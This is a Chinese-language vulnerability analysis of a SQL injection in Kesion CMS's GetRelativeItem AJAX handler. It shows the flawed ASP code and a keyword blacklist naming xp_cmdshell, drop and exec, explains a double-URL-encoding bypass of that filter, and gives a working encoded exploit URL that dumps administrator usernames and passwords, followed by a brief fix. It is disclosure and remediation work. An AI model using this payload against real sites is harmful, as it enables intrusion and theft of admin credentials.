函数过滤混乱导致注入

复制代码代码如下:

Dim KS:Set KS=New PublicCls

Dim Action

Action=KS.S("Action")

Select Case Action

Case "Ctoe" CtoE

Case "GetTags" GetTags

Case "GetRelativeItem" GetRelativeItem //问题函数

...skip...

Case "getonlinelist" getonlinelist

End Select

Sub GetRelativeItem() //漏洞函数开始

Dim Key:Key=UnEscape(KS.S("Key"))//漏洞位置,只调用ks.s函数,无其它过滤。

Dim Rtitle:rtitle=lcase(KS.G("rtitle"))

Dim RKey:Rkey=lcase(KS.G("Rkey"))

Dim ChannelID:ChannelID=KS.ChkClng(KS.S("Channelid"))

Dim ID:ID=KS.ChkClng(KS.G("ID"))

Dim Param,RS,SQL,k,SqlStr

If Key<>"" Then

If (Rtitle="true" Or RKey="true") Then

If Rtitle="true" Then

param=Param & " title like '%" & key & "%'"//类似搜索型注入漏洞。

end if

If Rkey="true" Then

If Param="" Then

Param=Param & " keywords like '%" & key & "%'"

Else

Param=Param & " or keywords like '%" & key & "%'"

End If

End If

Else

Param=Param & " keywords like '%" & key & "%'"

End If

End If

If Param<>"" Then

Param=" where InfoID<>" & id & " and (" & param & ")"

else

Param=" where InfoID<>" & id

end if

If ChannelID<>0 Then Param=Param & " and ChannelID=" & ChannelID

Param=Param & " and verific=1"

SqlStr="Select top 30 ChannelID,InfoID,Title From KS_ItemInfo " & Param & " order by id desc" //查询

Set RS=Server.CreateObject("ADODB.RECORDSET")

RS.Open SqlStr,conn,1,1

If Not RS.Eof Then

SQL=RS.GetRows(-1)

End If

RS.Close

先进行了过滤,然后才调用UnEscape解码,

复制代码代码如下:

Public Function S(Str)

S = DelSql(Replace(Replace(Request(Str), "'", ""), """", ""))

Function DelSql(Str)

Dim SplitSqlStr,SplitSqlArr,I

SplitSqlStr="dbcc|alter|drop|*|and |exec|or |insert|select|delete|update|count |master|truncate|declare|char|mid|chr|set |where|xp_cmdshell"

SplitSqlArr = Split(SplitSqlStr,"|")

For I=LBound(SplitSqlArr) To Ubound(SplitSqlArr)

If Instr(LCase(Str),SplitSqlArr(I))>0 Then

Die "alert('系统警告!\n\n1、您提交的数据有恶意字符" & SplitSqlArr(I) &";\n2、您的数据已经被记录;\n3、您的IP:"&GetIP&";\n4、操作日期:"&Now&";\n Powered By Kesion.Com!');window.close();"

End if

Next

DelSql = Str

End Function

如果配合Unescape()函数,刚过滤不会生效。可以采用unicode编码方式,则不会在浏览器中出现被过滤的字符。例如,单引号可以编码为。%2527,经过解码后还是“'”号,这样的话,就可以利用类似php的二次编码漏洞的方式绕过过滤了。

注入语句:%') union select 1,2,username+'|'+ password from KS_Admin

转换如下:

/plus/ajaxs.asp?action=GetRelativeItem&key=search%2525%2527%2529%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2575%2573%2565%2572%256e%2561%256d%2565%252b%2527%257c%2527%252b%2570%2561%2573%2573%2577%256f%2572%2564%2520%2566%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500

修复方案:

UnEscape()函数调用位置放在函数体内,或者不调用。

ajax无刷新kesion,Kesion cms注入漏洞分析及其修复方案相关推荐

  1. 梦想CMS注入漏洞分析发现小彩蛋

    0x01 前言 查资料的时候,偶然间看到这样一个漏洞,在一个提交表单的地方,插入SQL语句,便可以进行报错注入.看着有点像二次注入,对于这样类型的注入,我个人遇到的还是比较少的,再加上一般这种地方多数 ...

  2. Ajax无刷新实现图片切换特效

    1.页面cs代码 using System; using System.Data; using System.Configuration; using System.Web; using System ...

  3. JAVA EE 中之AJAX 无刷新地区下拉列表三级联动

    JSP页面 <html> <head> <meta http-equiv="Content-Type" content="text/html ...

  4. JQuery 总结(8)Ajax 无刷新技术

    Ajax  无刷新技术  [ 有get 和post  一一对应] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $(".delete& ...

  5. ajax无刷新留言板远吗,基于jquery实现ajax无刷新评论

    基于jquery实现ajax无刷新评论 发布于 2017-03-31 11:26:07 | 75 次阅读 | 评论: 0 | 来源: 网友投递 jQuery javascript框架jQuery是一个 ...

  6. ajax无刷新评论的思路,ajax学习——ajax版无刷新评论(数据库)

    //Comment.htm 无刷新评论 type="text/javascript"> //加载评论 $(function() { $.post("GetComme ...

  7. JQUERY AJAX无刷新异步上传文件

    AJAX无刷新上传文件并显示 http://blog.csdn.net/gao3705512/article/details/9330637?utm_source=tuicool jQuery For ...

  8. html5拖拽图片批量ajax无刷新进度上传

    1.前端拖拽图片 之前有篇文章说到HTML5的拖拽(drag.drop,详见:/post/jquery-plugin-1-jquery-drag-and-html5-draggable-api-and ...

  9. ajax无刷新评论示例

    下面就为大家带来一篇 ajax无刷新评论示例.学习还是有点帮助的,给大家做个参考吧. 这是留言板的界面,当用户点击提交留言的时候,自动提交到我的留言下面 留言内容中为空,或者为灰色的"没有填 ...

最新文章

  1. 80个招聘求职网站整理,不管招聘or求职,看这个就够了!
  2. linux sftp远程连接命令
  3. [云炬创业基础笔记] 第四章测试11
  4. 词法分析(2)---NFA
  5. android代码 根据黑名单拦截短信,滴滴将小范围测试短信报警 司、乘两端同步试运行“黑名单”...
  6. Android 动态修改参数配置
  7. php空间xpyun_无限流量免费 PHP 空间 – FreeWebHostingArea
  8. [Unity] 在 3DsMax 中将骨骼调整为适应 Unity 的 Humanoid 的结构的记录
  9. mysql ignore space_MySQL日志存储空间满引发的错误
  10. android 网络gif_Android SurfaceView实现GIF动画架包,播放GIF动画
  11. python实现对解析之后的DOM进行层次化处理升序输出
  12. Java数据结构与算法概述
  13. Manjaro安装scrt8.3 201912
  14. MODIS数据下载——订单模式下载tif影像
  15. php文本生成图片,php文本文字创建生成图片_PHP教程
  16. 2010最新***工具包
  17. 设计模式-访问者模式-java-中文版
  18. box-shadow详解
  19. QUIC 技术创新 让视频和图片分发再提速
  20. 微信红包封面免费送!!!

热门文章

  1. java小作业(七)
  2. 从零开始的Hadoop大数据集群(伪)搭建,全免费VirtualBox虚拟机Ubuntu版,学习向,超详细---(一)
  3. 豆瓣页面 (html 和css)
  4. 基于JEECG-BOOT的list页面的地址栏参数传递
  5. 递归函数及其优点与缺点
  6. 更改html网页的图标大小吗,html-使用path元素调整svg图标的大小
  7. Hanlp使用过程中报错 RuntimeError: The MPS backend is supported on MacOS 12.3+.
  8. 领悟这148句话,你可以提高一个档次了,一起分享,希望您能开心每一天~
  9. react 中from表单输入 提交
  10. 异步四进制加法计数器